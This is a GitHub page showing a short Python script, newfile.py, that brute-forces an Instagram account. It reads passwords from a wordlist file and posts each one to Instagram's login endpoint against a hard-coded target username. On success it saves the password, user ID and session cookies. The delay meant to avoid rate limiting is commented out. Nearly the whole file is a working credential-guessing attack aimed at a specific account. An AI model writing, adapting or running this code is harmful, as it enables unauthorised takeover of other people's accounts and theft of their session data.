-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnewfile.py
More file actions
107 lines (86 loc) · 3.35 KB
/
newfile.py
File metadata and controls
107 lines (86 loc) · 3.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import requests
import json
import time
def check_instagram_login(username, password):
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
})
try:
# Get CSRF token
login_page = session.get('https://www.instagram.com/accounts/login/')
csrf_token = login_page.cookies.get('csrftoken')
# Prepare login data
login_data = {
'username': username,
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:0:{password}',
'queryParams': '{}',
'optIntoOneTap': 'false',
'trustedDeviceRecords': '{}'
}
session.headers.update({
'X-CSRFToken': csrf_token,
'Referer': 'https://www.instagram.com/accounts/login/',
'Content-Type': 'application/x-www-form-urlencoded'
})
# Attempt login
login_response = session.post(
'https://www.instagram.com/accounts/login/ajax/',
data=login_data
)
response_data = login_response.json()
if response_data.get('authenticated'):
return {
'password': password,
'status': 'success',
'user_id': response_data.get('userId'),
'cookies': dict(session.cookies)
}
else:
return {
'password': password,
'status': 'failed',
'message': response_data.get('message', 'Unknown error')
}
except Exception as e:
return {
'password': password,
'status': 'error',
'message': str(e)
}
def main():
username = '_myself_barsha6363'
# password_file = input("Enter password file path (e.g., passwords.txt): ")
try:
with open('barsha.txt', 'r') as f:
passwords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"Error: File '{password_file}' not found!")
return
print(f"\nChecking {len(passwords)} passwords for account: {username}\n")
results = []
for idx, password in enumerate(passwords, 1):
print(f"Trying password {idx}/{len(passwords)}: {password[:2]}****{password[-2:] if len(password) > 4 else '**'}")
result = check_instagram_login(username, password)
results.append(result)
if result['status'] == 'success':
print("SUCCESS! Valid credentials found!")
break
# Add delay to avoid rate limiting
#time.sleep(0.01)
# Save results
output_file = f"instagram_results_{username}.json"
with open(output_file, 'w') as f:
json.dump(results, f, indent=2)
print(f"\nResults saved to {output_file}")
# Print summary
success = [r for r in results if r['status'] == 'success']
print(f"\nSummary: {len(success)} successful login(s) found")
if success:
print("\nSuccessful credentials:")
for cred in success:
print(f"Username: {username}")
print(f"Password: {cred['password']}")
print(f"User ID: {cred.get('user_id', 'N/A')}\n")
if __name__ == "__main__":
main()